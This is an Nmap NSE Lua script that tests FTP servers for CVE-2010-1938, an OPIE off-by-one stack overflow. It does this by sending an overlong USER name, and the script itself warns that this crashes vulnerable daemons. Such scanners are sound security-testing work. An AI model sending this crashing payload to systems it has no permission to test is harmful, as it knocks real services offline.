description = [[
Checks if an FTPd is prone to CVE-2010-1938 (OPIE off-by-one stack overflow),
a vulnerability discovered by Maksymilian Arciemowicz and Adam "pi3" Zabrocki.
See the advisory at http://nmap.org/r/fbsd-sa-opie.
Be advised that, if launched against a vulnerable host, this script will crash the FTPd.
]]

---
-- @output
-- PORT   STATE SERVICE
-- 21/tcp open  ftp
-- | ftp-libopie: 
-- |   VULNERABLE:
-- |   OPIE off-by-one stack overflow
-- |     State: LIKELY VULNERABLE
-- |     IDs:  CVE:CVE-2010-1938  OSVDB:64949
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote
-- |       attackers to cause a denial of service or possibly execute arbitrary code
-- |       via a long username.
-- |     Disclosure date: 2010-05-27
-- |     References:
-- |       http://osvdb.org/64949
-- |       http://site.pi3.com.pl/adv/libopie-adv.txt
-- |       http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1938
--


author = "Ange Gutek"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}

require "shortport"
require "vulns"

portrule = shortport.port_or_service(21, "ftp")

action = function(host, port)
        local opie_vuln = {
          title = "OPIE off-by-one stack overflow",
          IDS = {CVE = 'CVE-2010-1938', OSVDB = '64949'},
          risk_factor = "High",
          scores = {
            CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
          },
          description = [[
An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote
attackers to cause a denial of service or possibly execute arbitrary code
via a long username.]],
          references = {
'http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc',
'http://site.pi3.com.pl/adv/libopie-adv.txt',
          },
          dates = {
            disclosure = {year = '2010', month = '05', day = '27'},
          },
        }

        local report = vulns.Report:new(SCRIPT_NAME, host, port)

	local socket = nmap.new_socket()
	local result
	-- If we use more that 31 chars for username, ftpd will crash (quoted from the advisory).
	local user_account = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	local status = true

	local err_catch = function()
		socket:close()
	end

	local try = nmap.new_try(err_catch)

	socket:set_timeout(10000)
	try(socket:connect(host, port))

	-- First, try a safe User so that we are sure that everything is ok
	local payload = "USER opie\r\n"
	try(socket:send(payload))

	status, result = socket:receive_lines(1);
	if status and not (string.match(result,"^421")) then

		  -- Second, try the vulnerable user account
		  local payload = "USER " .. user_account .. "\r\n"
		  try(socket:send(payload))

		  status, result = socket:receive_lines(1);
		  if status then
		    opie_vuln.state = vulns.STATE.NOT_VULN
		  else
		  -- if the server does not answer anymore we may have reached a stack overflow condition
		    opie_vuln.state = vulns.STATE.LIKELY_VULN
		  end
	end
	return report:make_output(opie_vuln)
end